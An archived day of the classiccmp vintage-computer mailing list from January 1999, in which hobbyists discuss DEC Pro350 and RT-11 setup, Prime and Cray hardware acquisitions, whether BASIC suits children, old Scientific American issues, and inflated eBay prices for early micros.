Bill and Opus in 2000 - Who ELSE is there? >----------------------------------------------------------------------- > From rigdonj at intellistar.net Wed Jan 13 09:45:52 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:04 2005 Subject: Apple monitor question Message-ID: <3.0.1.16.19990113094552.306f0018@intellistar.net> On my computer scrounging trip yesterday I found a BIG monitor marked "Apple Composite 2 page monitor". Anyone know exactly wha that is? I've never heard of one before. What systems does it work on? Joe From mbg at world.std.com Wed Jan 13 08:14:44 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:04 2005 Subject: RT-11 Help Message-ID: <199901131414.AA17257@world.std.com> "Mike" wrote: >an MSCP disk ??? This was a cardkey application for a rather large site >so mayhap the app did this... The problem is that we need to know a little more of the system configuration first... do you know exactly what the system has? If you know it has MSCP disks, then we need to know how they have the partitions setup. >>What you may want to suggest to him is to >> >> 1) Delete all sensitive files from all disk partitions > >how? DELETE myfile?? Yep... standard DCL (Digital Command Language), not something obscure like 'rm' (Sorry... couldn't resist :-) >>Not counting the documentation which can be purchased for it... > >really? where? sign me up. ;) As someone else has already mentioned, a Doc set is something like US$1300+... I doubt hobbyists will run out and buy it... that's why the best you can probably hope for is someone who can let you 1) borrow, 2) have, or 3) copy select pages/manuals of their doc set. Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From cswiger at wilma.widomaker.com Wed Jan 13 08:19:19 1999 From: cswiger at wilma.widomaker.com (cswiger) Date: Sun Feb 27 18:40:04 2005 Subject: Berkeley Enterprises 1956 Report Message-ID: >Hey, Chuck. Do you happen to remember approximately when that Shannon >article appeared? Berkeley had many logic toys and robots, including a Ok - don't have the Scientific Earthling article that a similar project appeared in, but found in an IEEE book "C.E. Shannon: Collected Papers" one called "Presentation of a Maze-Solving Machine" - from "Transactions 8th Cybernetics Conference, Josiah Macy Jr. Foundation, 1952". Is a thick and chewy book. Also, get this - in the paper on "Programming a computer for Playing Chess" (National IRE Conference, March 9, 1949), he referances the game of Nim, and that a machine able to play a perfect game has been constructed - Condon, Tawney and Derr, U.S. Patent 2,215,544. The "Nimotron" based on this patent was built and exhibited by Westinghouse at the 1938 New York World's Fair. Chuck cswiger@widomaker.com From mbg at world.std.com Wed Jan 13 08:28:33 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:04 2005 Subject: Computers for children References: Message-ID: <199901131428.AA29003@world.std.com> >The main reason that *I* am aware of with people being down on BASIC is >that it, in a sense, encourages writing spagetti code (probably with the >inappropriate use of the GOTO statement.) It is possible to write really bad code in any language, and really good code in any language. I've seen (and written) some very modular stuff in the past in BASIC. I've also seen some of the worst damn stuff written in C or PASCAL... The idea that a language (like C or PASCAL) ensures that you will write good code is a complete falacy... Years ago, BYTE ran some ads for a C distribution (I don't remember the name) in which they compared C ('programming by design') versus BASIC ('programming by trial and error'). The task was to write a program which approximated the drawing of a circle by using straight line segments. The first half of the page demonstrated the program in BASIC, with an example run... whoops, the last line segment doesn't meet up with the first... must be an 'off-by-one' bug in a for statement. So they make the change and run again... whoops, now the last segment crosses the first... (and here's where it gets really annoying)... "It seems you can't do this in BASIC" ... "But in 'C'..." and everything works right the first time. Anyone with a bit of sense would look at the algorithm used... Lo and behold, the algorithms were different. If the one used for the BASIC example had been used for C, and vice versa, the ad could have shown that BASIC could get it right first time while C probably couldn't have done it... I'm sorry, but I truly believe that anyone who looks down on BASIC because the code *can* be spaghetti-code cannot be considered a real programmer in my book... My US$.02 Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From mbg at world.std.com Wed Jan 13 08:35:20 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:04 2005 Subject: Greetings and Questions Message-ID: <199901131435.AA05502@world.std.com> "Kirk Davis" wrote: >Hi all - I'm new to the mailing list and have just started >collecting various pieces of retro computer paraphernalia. Had >some fun today at the local salvage yard prying open a VAX 8800 >looking for interesting bits. Hi... and "ouch"... prying one open? >Did manage to get the console. Various people have told me that >this is most likely a PRO350 or PRO380 (PDP!!!!). Looking inside it's >got a RD52 and a set of floppies along with the associated controller >cards and the main board. It appears to be in good shape - when I >turn on the power, it goes though it's self test and appears to boot >from the hard disk. Do you see the 'DIGITAL' logo during the boot process? (Did you get the monitor and keyboard?) >1. What are my options are far as os'? I'm told that it most likely >has a subset of RT11 on the drive. Is this my only option or is it >possible to install other PDP11 based os' on this system? If it is off a Vax system, it will probably have a special board in it for use in controlling that system. You won't need it. It will also probably be running P/OS, not RT11, although you can get an RT-11 to run on it. There is also Venix, a unix-look-similar... You can also run a version of TSX+ on it (TSX is layered on RT-11, so you would need RT-11 first). >2. The back panel has a serial port and a monitor port (along with >what appears to be a printer and AUI network port). There is no >direct keyboard input that I can see. I connected a serial terminal >to the system and tried various baud rates and parity selections >(300-19200, 8-n-1 & 7-e,1) and have been unable to get the system to >respond. I'd assume some sort of signon banner at boot but since this >was a dedicated console for a vax it's limited to the output only on >the other monitor port? Maybe someone can enlighten me.... You'll need a monitor and keyboard, attached to the appropriate connectors. The AUI port is only usable if you have a DECNA ethernet adapter card in the machine. The communications port has modem control. The printer port can be used as a debug console (if the cable has pins 9 and 20 connected) and then runs at (I think) 4800 baud. This port is at the standard console address for a pdp-11, but it doesn't have the same interrupt structure. But the monitor and keyboard are required, since that is the boot console. Without them, you won't be able to run anything. Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From ckaiser at oa.ptloma.edu Wed Jan 13 08:44:37 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:04 2005 Subject: Computers for children In-Reply-To: <001001be3ef1$160c5520$a943fea9@francois> from "Francois" at Jan 13, 99 06:34:37 am Message-ID: <199901131444.GAA10510@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 745 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/e371a9e7/attachment.ksh From dhansen at zebra.net Wed Jan 13 08:32:37 1999 From: dhansen at zebra.net (dhansen@zebra.net) Date: Sun Feb 27 18:40:04 2005 Subject: No subject Message-ID: <199901131432.IAA02579@ns.zebra.net> From aknight at mindspring.com Wed Jan 13 08:44:18 1999 From: aknight at mindspring.com (Alex Knight) Date: Sun Feb 27 18:40:04 2005 Subject: classic computer stuff in Scientific American In-Reply-To: <4.1.19990108123634.00adaeb0@206.231.8.2> References: <199901081700.JAA26152@snipe.prod.itd.earthlink.net> Message-ID: <3.0.6.32.19990113094418.0079da80@mindspring.com> Hi, One of my more interesting acquisitions along the way of looking for early-model calculators has been a nearly-complete set of Scientific American magazines from 1965-1978. In the 1960's issues there are a few interesting articles about computer development and evolution and some advertisements for old computer equipment. I am working on a list of these articles & ads which will take some time to complete, but I did want to point out one particular issue that has a wealth of info. & photos about mid 70's computer technology. The issue is the September 1977 special issue on Microelectronics. Inside, there are advertisements for things like the Bally "Home Library Computer", Apple II (2-page color spread), Texas Instruments 990/9900, Heathkit H8,H9,H10,H11, HP 21MX/HP1000, Harris S-110, E&L MMD-1 microcomputer, Vector Graphics, IMSAI (2-page color spread), Floating Point Systems, Digital LSI-11, Digital Group, Byte Shop, PolyMorphic Systems, and SOL-20. Also, in the articles, the following things (among many others) are covered or photographed: IMSAI 8048 SBC, Intel 8748 photograph, Intel SBC 80/10 & Intellec MDS-80, Burroughs B80, CRAY-1, IBM 370/168, PDP-11/03, 11/60, 11/70, Xerox PARC "Experimental Personal Computer", Smalltalk, and much, much more ;-) There's a lot of calculator stuff, too, which will eventually be documented on my Web page. If you're interested in this type of stuff, it might make a trip down to your local public library worthwhile to see if they still have this issue (on paper or fiche). Regards, Alex Calculator History & Technology Archive http://aknight.home.mindspring.com/calc.htm From ckaiser at oa.ptloma.edu Wed Jan 13 08:54:54 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:04 2005 Subject: MS-DOS FAT file system ripped off? (from WHOM?) In-Reply-To: <19990113065559.24398.qmail@brouhaha.com> from "Eric Smith" at Jan 13, 99 06:55:59 am Message-ID: <199901131454.GAA16500@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 1511 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/d1972e66/attachment.ksh From william at ans.net Wed Jan 13 09:10:58 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:40:04 2005 Subject: classic computer stuff in Scientific American In-Reply-To: <3.0.6.32.19990113094418.0079da80@mindspring.com> Message-ID: > Also, in the articles, the following things (among many others) > are covered or photographed: IMSAI 8048 SBC, Intel 8748 photograph, > Intel SBC 80/10 & Intellec MDS-80, Burroughs B80, CRAY-1, > IBM 370/168, PDP-11/03, 11/60, 11/70, Xerox PARC "Experimental > Personal Computer", Smalltalk, and much, much more ;-) The article on the IBM 3081s Thermal Conduction Modules, in an 1983 issue, is wonderful reading. William Donzelli william@ans.net From kyrrin at bluefeathertech.com Wed Jan 13 09:13:06 1999 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:40:04 2005 Subject: Computers for children In-Reply-To: <199901131444.GAA10510@oa.ptloma.edu> References: <001001be3ef1$160c5520$a943fea9@francois> Message-ID: <3.0.5.32.19990113071306.00934990@mail.bluefeathertech.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 1889 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/61ab253b/attachment.bin From cswiger at wilma.widomaker.com Wed Jan 13 09:14:52 1999 From: cswiger at wilma.widomaker.com (cswiger) Date: Sun Feb 27 18:40:04 2005 Subject: classic computer stuff in Scientific American Message-ID: Alex Knight[SMTP:aknight@mindspring.com] reports: >One of my more interesting acquisitions along the way of looking >for early-model calculators has been a nearly-complete set of >Scientific American magazines from 1965-1978. In the 1960's Good collection. All that Martin Gardner and Dr. Matrix, Conway's 'Life'...waaaaa So do you have the Sept. '74 issue in which the Amateur Scientist, IIRC, taught us how to breadboard 74xx logic gates - so then one could build a machine to solve 'truth tables' as in Irving Copi's "Symbolic Logic"? What fun they were. Karnaugh maps were just ahead. Chuck cswiger@widomaker.com From jfoust at threedee.com Wed Jan 13 09:05:39 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:04 2005 Subject: Computers for children In-Reply-To: References: <4.1.19990112154512.00a65d80@mailhost.hq.freegate.com> Message-ID: <3.0.5.32.19990113090539.01024eb0@pc> At 10:00 PM 1/12/99 -0800, Sam Ismail wrote: > >Gee, I wish I was your daughter. My dad's idea of cirriculum was: > Raking Leaves Rake > Mowing Lawns Lawnmower [...] >I had to learn everything else on my own :) No personal aspersion on Chuck's plan, but in both Sam's dad and many other parents I've seen, the curriculum (in general, not just computer-centric) seems to be driven by the parent's interests and perhaps the child's own natural interests are forgotten. My three-year-old likes to doodle on my Pilot and PC, but something inside me wants to let him be a kid for a while, as opposed to pushing him to become the latest "youngest NT certified engineer." When I furnished him with an old Mac SE with a kid-paint program, he enjoyed it, but after a while he removed the mouse and used it to lasso his fire truck until the magic smoke left the mouse. Yes, there's a 100bT port in his bedroom, and a T-1 to the house, but I haven't told him about that yet. It's scary how the words "e-mail" and "dot com" worked there way into his vocabulary, though. I flinch when I see how computers are used in schools. I help the local school board with some technological issues, and recently took a tour of the new network wiring at the high school. They've got fiber to the closets, DS-3 feeding the place, video distribution, it goes on and on. "What's it going to be used for," I asked the director. "Well, it might be ten years before we get the budget to refurbish, so we thought we'd ask for as much as possible, and we'll let the teachers figure out how to use it." Meanwhile, the teacher's union is requesting funding for substitutes so that teachers can take mornings and afternoons away from their classrooms in order to attend seminars to learn how to use the marginal Win95 machines they have now. Meaning, of course, that they don't know how to use what was installed from the last round of funding. The only use of the Net I saw on the tour was five kids in the library, surfing sites about their favorite bands. Surprisingly, the "porn filter" consisted of keeping the monitors in sight of the librarian's desk. Of course, we all know the Web is peer-reviewed and scholastically approved, so any material you find there is OK to cut-and-paste into a book report. - John From jonathan at canuck.com Wed Jan 13 09:33:10 1999 From: jonathan at canuck.com (Victor the Cleaner) Date: Sun Feb 27 18:40:04 2005 Subject: cray, paper tape, collector's books, tek terminals, and WANTED In-Reply-To: <199901130802.AAA28194@lists3.u.washington.edu> from "classiccmp@u.washington.edu" at Jan 13, 99 00:02:17 am Message-ID: <199901131533.IAA27458@canuck.com> William Donzelli wanna know: > > Not much to tell yet. It's a YMP-EL/98, the 8-cpu version of the > > air-cooled "baby's first Cray" series. > > Not only air-cooled, but more or less plug-into-the-wall as well. I envy > you. Yeah - it appears to just need 220 and enough room HVAC. A raised floor isn't even a requirement, though we're dying to put one in. Our biggest concern is simply the footprint, as our machine room has pretty much run out of space. We added a freebie sparcserver 690 on Saturday, and that's about hogged out the remaining space we were figuring on devoting to the Cray. > > At the moment, we know of two other machines of the same family > > that are now in private hands. > > I have had absolutely no luck in getting a supercomputer, for myself or > for RCS/RI. Currently I am bothering people about a MasPar and an ETA, but > both have hit brick walls. I suppose it helps to be in the right place at > the right time. How did you manage? Never seen a MasPar - would like to. The ETA would be a sweet find - which model? I stole a nameplate off of one about ten years ago; those machines are a solid piece of super history. Of course, in "Die Hard" you get to see a whole floor of CDC machines, including an ETA-10, get blown up _real_good_. As far as "managing", I really don't want to say yet. Any further comments before it's in our machine room would be premature. And the people handing it over may very well not want us to disclose the source. They've told us that there may be more machines in the future, as they're decommissioned, and probably won't want the risk of people pestering them. ... Courtesy Bruce Lane (kyrrin@my-dejanews.com), who turned me on to the list: > Can someone please get in touch with this guy? He asks a most > interesting question. "Bill Mohler" > Subject: Help: Paper tape reader to PC > Any advice on how to attach a paper tape reader to an IBM compatible > computer? How about making the PC emulate a tape reader? Anyone been in touch with this chap yet? I expected someone to post a mention of the interface in question. ObClassicBit: As they say, one of the jobs "on the things-to-do list" is bringing up the front panel imsai with the asr-33 for the express purpose of loading up a recently-acquired micro$oft 8K basis paper tape. Just out of curiosity, how rare is this software? Anyone else on the list got it? Anyone else want a copy if/when I get around to it? Hey, Bill! I'm a-leggin' yer code! Come 'n' git me! ... "John R. Keys Jr." pitched: > Another one that I really like is Stan Veit's History of The Personal > Computer it's a great reference source with photos so that you know what to > look for. He writes a little history about each machine. It's still only $3 > from the guy on ebay. John This is WELL worth it. I met Stan at his store in NYC back 79; very nice chap. His book is a good write from someone who was there. On the other hand... > > Haddock's book is A Collector's Guide to Personal Computers and Pocket > > Calculators, > > subtitled A Historical, Rarity, and Value Guide, by Dr. Thomas F. Haddock, > > Books Americana, Florence, Alabama, 1993. ISBN 0-89689-098-8. is a REAL piece of shit. This guy doesn't know anything, and the book looks like it was assembled with a photocopier, a stack of old Byte magazines, and a rubber stamp that says "Value: $50-$75". I picked up both of these books at the museum in Bozeman, Montana. Listers familiar with it? Funny little place. ... From william at ans.net Wed Jan 13 09:52:39 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:40:04 2005 Subject: cray, paper tape, collector's books, tek terminals, and WANTED In-Reply-To: <199901131533.IAA27458@canuck.com> Message-ID: > Never seen a MasPar - would like to. The ETA would be a sweet find - > which model? A "Piper", also an air-cooled model, one of 23 made. > As far as "managing", I really don't want to say yet. Any further > comments before it's in our machine room would be premature. And the > people handing it over may very well not want us to disclose the source. > They've told us that there may be more machines in the future, as they're > decommissioned, and probably won't want the risk of people pestering them. That would be a wise move. Even though Cray ELs were built in fairly large numbers (something like 400, I think), they still are going to be hard things to obtain because of their "supercomputerness". Get any that you can... Of course, if you do run out of room...well, I know a place that would take even a big C90... William Donzelli william@ans.net From rkneusel at post.its.mcw.edu Wed Jan 13 09:54:03 1999 From: rkneusel at post.its.mcw.edu (Ronald Kneusel) Date: Sun Feb 27 18:40:04 2005 Subject: Computers for Kids In-Reply-To: <199901130802.AAA28194@lists3.u.washington.edu> Message-ID: >> For programming, I would recommend BASIC, TO START WITH, followed by an >> introduction to C and assembly as soon as basic principles are >>understood. > >I don't see anything wrong with BASIC as a useable language for kids. I >don't know why people are so down on it. Ok, so it doesn't have >functions, and no, I wouldn't try to build a career out of it. I don't >think throwing C and assembler at a kid "as soon as the basic principles >are understood" would be necessarily productive. Let them have BASIC >until its apparent they've outgrown it, then let them explore other >options (but please keep them away from COBOL and Pascal :) > >Sellam Alternate e-mail:dastar@siconic.com Why not Forth? Simple, interactive and gives immediate feedback. It also has "high level" constructs, no GOTO, but is "low level" at the same time. My six year old son loves it. The RPN style didn't bother him a bit (why would it when he knew of nothing else?) Ron Kneusel rkneusel@mcw.edu From marvin at rain.org Wed Jan 13 10:13:22 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:05 2005 Subject: Osborne 01 for only $410.50+ References: <199901131155.LAA12134@nixpbe.pdb.sni.de> Message-ID: <369CC622.ED63F591@rain.org> Hans Franke wrote: > > Now he has relisted: > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=55156048 > and the price is building up, fairly high through (355USD). > (Also the Shipment is no longer free :) Ah yes, but notice the feedback ratings on the bidders ... and who is missing! The Classic Computer Club met last night and we were talking about the value of the Osborne I. My comment was that it was probably a $50 or less garage sale item, and $150 or so on ebay; looks like I was a bit low! It will be interesting to see what the final bid is AND if that bid goes through. BTW, notice the serial number (01497) with the comment "This probably shipped the first week" . I really don't mind ebay sales, but I *really* dislike sellers spouting ignorance to try and build prices! From jimw at agora.rdrop.com Wed Jan 13 10:25:56 1999 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:40:05 2005 Subject: Rescue needed: Prime hardware w/software! Message-ID: Forwarded from a newsgroup posting - please reply to original poster. -jim --- Newsgroups: comp.sys.prime From: Brian Phillips Subject: Two Primes must go Date: Tue, 12 Jan 1999 16:02:39 -0500 This is my second posting. I posted this information a few weeks/months ago but now the machine is downed and waiting for pickup. System #1 =================== Hardware: =================== 1 6650 2 770MB disks 1 820MB disk 1 1.3GB disk (SCSI) 3 LACs (ICS3, 64 port capacity each) 192 CLACS (serial, 9-pin male) 2 URC dataproducts printer interfaces 1 SCSI-II controller 1 10GB 8mm Helical tape . . . . . . . . . (MAYBE) 1 Telex Tri-density 9-track tape 1 LHC (LAN Host Controller (TCP/IP)) 1 PT250 console terminal Software: =================== Primos r23.2 Information v8.2-23.2.0 TCP/IP v2.4r22 supports telnet, ftp, smtp (and Primenet,RJE,EMACS,PNX,Talk to name a few) System #2 =================== Hardware: =================== 1 2450 1 LAC (ICS3) 24 CLACS (serial, 9-pin male) 1 120MB disk 1 256MB disk 1 60MB cartridge tape Software: =================== Primos r22 (?) Information v8 (?) Primenet Any takers? Brian Phillips Treasure Coast Internet, Inc. (http://www.treco.net) 759 S. Federal Hwy. Suite 316, Stuart, FL 34994 (561)286.6998 FAX: (561)286.7089 Modem: (561)286.2880 Ft Pierce 879.6177 Ft Pierce Modem: (561)879.9939 --- From jpl15 at netcom.com Wed Jan 13 10:26:50 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:05 2005 Subject: Prime Hardware Doc. Message-ID: So..... what little space remained in my living room is now occupied with to big racks of Prime system. Its got 1 CPU, 48M of RAM, 32 ports, a Seagate Sabre, A Century 300M, a CDC 9766 top-loader, and a Kenndy 9100. I have many reels of tape, and about three linear feet of operating documentation. Maybe this weekend I can cable it up and light the fires. But since I am mostly a DEC collector, I have no idea where to start looking for Engineering and Maintenance docs on this machine, and I have not had time (yet) to sift thru the Web for clews. If there is, by chance, someone on this LIst who has leads to Prime engineering printsets, I would be mightily pleased to communicate with you. From spending the last few nights reading the OS stuff... I am impressed by the simplicity of the user interfaces and the operator environment... just the thing for a CompuDummy like me. Thanks in advance... pix of the Device will be loaded up to my neglected webpage this weekend (honest!). www.lightsound.org Cheerz John From marvin at rain.org Wed Jan 13 10:31:38 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children References: <199901131428.AA29003@world.std.com> Message-ID: <369CCA6A.9427EB4E@rain.org> Megan wrote: > > >The main reason that *I* am aware of with people being down on BASIC is > >that it, in a sense, encourages writing spagetti code (probably with the > >inappropriate use of the GOTO statement.) > > The idea that a language (like C or PASCAL) ensures that you will write > good code is a complete falacy... > I'm sorry, but I truly believe that anyone who looks down on BASIC > because the code *can* be spaghetti-code cannot be considered a real > programmer in my book... I think it *really* depends on what your objective is. With my limited programming experience, it appears that programming is pretty trivial *compared* to the task of defining what the program is supposed to do. My personal belief is that nobody who only knows (as opposed to uses) a single language could be considered a real programmer. The problem with BASIC is not the language, but rather IMHO it is too easy to pick up bad "program construction thinking" habits especially if BASIC is the first language a person learns without "proper" instruction. From Hans.Franke at mch20.sbs.de Wed Jan 13 12:03:02 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:05 2005 Subject: Superkids? In-Reply-To: <199901122209.QAA08373@wildride.netads.com> Message-ID: <199901131704.RAA25951@nixpbe.pdb.sni.de> > |Eight years old and learning PDP-8 assembler? What does she do on the > |weekends, solve differential equations?!? :-) > Actually, any reasonably intelligent 8 y/o who is interested, > and who has learned to enjoy learning, is capable some level > of assembler programming. Mine (Saskia, the younger one) was about 10 when she did some 6502 Machinecode programming (switch a lamp on, make sound, etc.) on a 6502 Kit (Maybe you have seen the Tupperware box on VCF 2.0 :). > It's amazing what society and the > schools can do to destroy a young mind. Depends - it needs always an environment to encourage a child. For example she (Saskia) was about the age of 4 1/2, when she 'discovered' the PET (chicklet) in our Livingroom (I had it standing beside the TV set as a display :). We had to show her how to turn it on, and things like, how the shift key functions - for several month she used the screen for paintings made up with just the graphics symbols. I belive this has been supported by the fact that I used to sit in the same room with my Apple ][+. Gruss Hans -- Ich denke, also bin ich, also gut HRK From pechter at monmouth.com Wed Jan 13 11:09:48 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children In-Reply-To: <199901131428.AA29003@world.std.com> from Megan at "Jan 13, 99 09:28:33 am" Message-ID: <199901131709.MAA32505@pechter.ddns.org> > > >The main reason that *I* am aware of with people being down on BASIC is > >that it, in a sense, encourages writing spagetti code (probably with the > >inappropriate use of the GOTO statement.) > > It is possible to write really bad code in any language, and really > good code in any language. I've seen (and written) some very modular > stuff in the past in BASIC. I've also seen some of the worst damn > stuff written in C or PASCAL... > > I'm sorry, but I truly believe that anyone who looks down on BASIC > because the code *can* be spaghetti-code cannot be considered a real > programmer in my book... > > My US$.02 > > Megan Gentry Agreed. But coming out of DEC with Basic Plus and other DEC basics makes you forget just how bad the A$ environment is. My worst, er first experience with Basic was an HP2000. I liked computers but found the ASR33 a pain. Next course was Fortran on IBM punch cards. Ugh. Working with the single character variable names was a pain. Editing was awful on the teletypes. (retype line number and reenter). I'd have killed for EDT line mode. I found that DEC's basics were quite nice to work with. DEC also had a nice development environment as well with good tools. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com | pechter@pechter.ddns.org From Hans.Franke at mch20.sbs.de Wed Jan 13 12:22:49 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children In-Reply-To: References: Message-ID: <199901131723.RAA26899@nixpbe.pdb.sni.de> > > Well, personally, I think that to give the child a better understanding of > > the computer, they should start with something simple and (dare I say) > > rudimentary, like a C64 or Apple II (Certainly more rudimentary than a > > modern day PC with a GUI masquerading as an OS). > If your goal is to teach them about computers, then I think a *much* more > rudimentary computer would be more appropriate. A C64 is OK for teaching > high-level programming, but start them off with low-level stuff like how a > logic gate works, advance to boolean algebra and let them stay there for a > long time until they learn how to minimize gates in their own designs, let > them build a CPU, microcode it, program it, and *then* move on to the > exciting world of BASIC. From Hans.Franke at mch20.sbs.de Wed Jan 13 12:22:49 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children In-Reply-To: <3.0.16.19990112161941.39e7ed90@ricochet.net> Message-ID: <199901131723.RAA26902@nixpbe.pdb.sni.de> > >There should also be WWW access, preferably with at least minimal > >graphics capability. > The younger the kid, the more they need graphics capability. Teenagers > don't really need it, no matter how much they beg for it (they just want to > visit whitehouse.com). I found it just the other way - as younger they are as less exact high res and high reality visions they need. An 5 year old child is satisfied when drawing a car or a house just by using big blocks and symbols (PET), while a 14 year old don't even look at a 280x192 display. A young child has more free flowing imagination - and less need for exact replication. Gruss H -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Wed Jan 13 12:35:47 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children In-Reply-To: References: <4.1.19990112154512.00a65d80@mailhost.hq.freegate.com> Message-ID: <199901131736.RAA27345@nixpbe.pdb.sni.de> > Gee, I wish I was your daughter. My dad's idea of cirriculum was: > Topic Lab Equipment > Raking Leaves Rake > Mowing Lawns Lawnmower > Pulling Weeds Hands > Killing woodland mammals Rifle > Blasting avian creatures from sky Shotgun Sounds like a happy childhood :=) > I had to learn everything else on my own :) Don't we do this all the same way ? Gruss H. -- Ich denke, also bin ich, also gut HRK From roblwill at usaor.net Wed Jan 13 14:23:43 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:05 2005 Subject: Tandy 600 acting screwy Message-ID: <01be3f32$9d635500$6f8ea6d1@the-general> -----Original Message----- From: Roger Merchberger To: Discussion re-collecting of classic computers Date: Tuesday, January 12, 1999 9:30 PM Subject: Re: Tandy 600 acting screwy >My 600 started doing this as well... but without the NiCd's in it at all. >Methinks the nicads are necessary for voltage regulation or somesuch... > >One question: You mentioned replacing the nicads -- I don't know if this >makes a difference, but did you use *hi-capacity* nicads??? The original >nicads in the T600 were 4000mAh - the plain-jane RadioShack D-cell nicads >are like 1800mAh or so, IIRC. > I used the hi-capacity ones. It was all that the local R/S carries as far a D-cells goes. >Aim for RS's Hi-Capacity Nicads - 4500mAh - should increase that 11 hour >(advertised) runtime by over an hour. > >Or just order a new Tandy battery pack - for $80.00. :-( Ummm, I don't >think so!!! > >Will let you know when I get mine working (local RS only had 3 batteries... >:-/ ). > ThAnX, -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 From cisin at xenosoft.com Wed Jan 13 11:57:00 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children In-Reply-To: <369CCA6A.9427EB4E@rain.org> Message-ID: > > The idea that a language (like C or PASCAL) ensures that you will write > > good code is a complete falacy... > > > I'm sorry, but I truly believe that anyone who looks down on BASIC > > because the code *can* be spaghetti-code cannot be considered a real > > programmer in my book... Has everyone forgotten that a REAL programmer can write a FORTRAN program in any language? From kurtkilgor at bigfoot.com Wed Jan 13 11:56:14 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children References: <199901131428.AA29003@world.std.com> <369CCA6A.9427EB4E@rain.org> Message-ID: <369CDE3E.89E85A6C@bigfoot.com> Marvin wrote: > not the language, but rather IMHO it is too easy to pick up bad > "program construction thinking" habits especially if BASIC is the > first language a person learns without "proper" instruction. I disagree, because my first language was BASIC on the C-64, and I had no 'proper' instruction (besides some books which everyone has access to), but I do not write spaghetti code. This is mostly because I like efficient code where every line makes sense. If I start off on the wrong foot, it is much more difficult to write the program at all. I must admit, I haven't had much experience with early BASICs that had no FOR...NEXT statements. From rhblake at bigfoot.com Wed Jan 13 11:57:21 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:05 2005 Subject: Seriously *bad* ebay auction... References: <01be3c06$2ba73000$cb9ba6d1@the-general> <3.0.1.32.19990113011227.0095f200@mail.30below.com> Message-ID: <369CDE80.1CB464EA@bigfoot.com> That one sounds like he's either having a Woodstock flashback or forgot his decimal point after the 3! Roger Merchberger wrote: > Just saw this on comp.sys.tandy... > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=55937406 > > This guy is looking to sell his TRS-80 Model 1 for a minimum bid of $300! :-/ > > Of course, the std. "RARE!" and other schmutz is listed thruout the ad... > > 'Tis a damn shame... > > Just thought you'd like to see, > Roger "Merch" Merchberger > ===== > Roger "Merch" Merchberger -- zmerch@30below.com > SysAdmin - Iceberg Computers > ===== Merch's Wild Wisdom of the Moment: ===== > for (1..15) { print "Merry Christmas\n"; } > (from perl.1 man page, version 4.) From dastar at ncal.verio.com Wed Jan 13 12:19:57 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 